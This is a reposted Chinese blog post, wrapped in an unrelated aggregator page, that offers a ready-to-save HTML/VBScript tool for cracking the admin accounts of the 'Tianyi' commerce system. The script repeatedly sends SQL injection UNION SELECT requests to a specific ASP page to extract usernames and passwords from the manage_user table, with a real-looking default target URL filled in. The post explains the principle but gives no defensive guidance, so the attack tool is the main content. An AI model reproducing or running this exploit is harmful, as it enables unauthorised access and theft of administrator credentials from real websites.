欢乐颂小说结局,听中国有声小说

主頁 > 知識(shí)庫(kù) > 天意商務(wù)系統(tǒng)后臺(tái)管理帳號(hào)破解html版

天意商務(wù)系統(tǒng)后臺(tái)管理帳號(hào)破解html版

/**
慈勤強(qiáng)
http://blog.csdn.net/cqq
*/
自從上次寫了個(gè)天意商務(wù)系統(tǒng)破解程序之后，
收到了不少朋友的來信，
有詢問程序原理的，有詢問如何防護(hù)的。
今天，我抽了一點(diǎn)時(shí)間，做了這個(gè)Html版，就只有這一個(gè)htm文件
相信有點(diǎn)html知識(shí)和SQL Injection知識(shí)的朋友都能夠看懂
原理非常簡(jiǎn)單，破解用戶帳號(hào)是用的SQL Injection方法，
因?yàn)檫@套系統(tǒng)好多地方存在sql injection漏洞，
然后自己下載個(gè)這套系統(tǒng)，就可以很方便的找出問題了。
以前是Vc++版本，現(xiàn)在是html版本，不過都是一樣，
就是通過http協(xié)議取得網(wǎng)頁的源文件
然后分析源文件，找到用戶名和密碼
并且顯示出來。
下面是源代碼，大家只要把這個(gè)文件保存到硬盤上，起名叫ty.htm，就可以了。

<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>天意商務(wù)系統(tǒng)后臺(tái)管理帳號(hào)破解html版--慈勤強(qiáng)制作</title> <SCRIPT Language = "VbScript"> Function bytes2BSTR(vIn) strReturn = "" For i = 1 To LenB(vIn)   ThisCharCode = AscB(MidB(vIn,i,1))   If ThisCharCode < H80 Then    strReturn = strReturn  Chr(ThisCharCode)   Else    NextCharCode = AscB(MidB(vIn,i+1,1))    strReturn = strReturn  Chr(CLng(ThisCharCode) * H100 + CInt(NextCharCode))    i = i + 1   End If Next bytes2BSTR = strReturn End Function Sub OpenUrl(strUrl)         strTmp = "" strUser = "!" strAAA ="" strCqq="" i=0 on Error Resume Next While Trim(strUser) <> ""      strPara = "/wlyx/show_cgal.asp?newsid=1%20and%201=2%20union%20select%201,username%2b'***'%2bpassword,3,4,5,6%20from%20manage_user%20where%20username>'" + strUser + "'%20union%20select%20*%20from%20cgal%20where%201=2"     Set xmlhttp = CreateObject("Microsoft.XMLHTTP")      xmlhttp.open "GET",(strUrl + strPara),false      xmlhttp.send        strAAA=getMid(bytes2BSTR(xmlhttp.ResponseBody), "<title>", "</title>")   If Trim(strAAA) <> "" Then          arr = Split(strAAA, "***")          strUser = arr(0)          strCqq = strCqq + vbNewLine + "用戶名：" + strUser + vbNewLine + "密  碼：" + arr(1) + vbNewLine + vbNewLine      Else          strUser = ""      End If       //msgbox xmlhttp.Response      Set xmlhttp = Nothing Wend If strCqq<>"" Then   strCqq="破解的后臺(tái)管理帳號(hào)為：（后臺(tái)默認(rèn)地址："+strUrl+"/admin）"+vbCrLF+VBCRLF+strCqq+vbnewline      cqqadmin.innerText=strCqq Else   cqqadmin.innerText="出錯(cuò)" End If      End Sub    Function getMid(str, str1, str2)     str11 = ""     i = InStr(str, str1)     If i > 0 Then         j = InStr(i, str, str2)         If j > 0 Then             str11 = Mid(str, i + Len(str1), j - i - Len(str1))                 End If         End If         getMid = str11 End Function </script> <style type="text/css">  </style></head> <body>  <table width="600" border="1" align="center" cellpadding="2" cellspacing="0" bordercolor="#D4D4D4" bgcolor="#E4E4E4">   <tr>     <td width="39%">天意商務(wù)系統(tǒng)后臺(tái)管理帳號(hào)破解html版</td>     <td align="right">Powered By Steven_Cee Http://blog.csdn.net/cqq </td>   </tr> </table>  <table width="600" border="0" align="center" cellpadding="0" cellspacing="0">   <tr>     <td> <form name="frmCqq" method="post"> <input name="url" type="text" value="http://www.3shopok.net" size="44"> <input type="button" name="submit" value="提交" onClick="vbscript:OpenUrl(window.frmCqq.url.value)"> </form>  </td>   </tr> </table> <table width="600" border="0" align="center" cellpadding="0" cellspacing="0">   <tr>     <td width="20">nbsp;  </td>     <td><span id="cqqadmin"></span></td>   </tr> </table> <table width="600" border="1" align="center" cellpadding="1" cellspacing="0" bordercolor="#E4E4E4" bgcolor="#E4E4E4">   <tr>     <td align="center">幫助說明，請(qǐng)看 </td>   </tr> </table> <p>nbsp;</p> <p>nbsp;</p> <p>nbsp;</p> </body> </html>

[Ctrl+A 全選注:引入外部Js需再刷新一下頁面才能執(zhí)行]

標(biāo)簽：青海無錫哈密沈陽阜陽忻州紅河河源

巨人網(wǎng)絡(luò)通訊聲明：本文標(biāo)題《天意商務(wù)系統(tǒng)后臺(tái)管理帳號(hào)破解html版》，本文關(guān)鍵詞天意,商務(wù),系統(tǒng),后臺(tái),管理,；如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題，煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們，我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò)，涉及言論、版權(quán)與本站無關(guān)。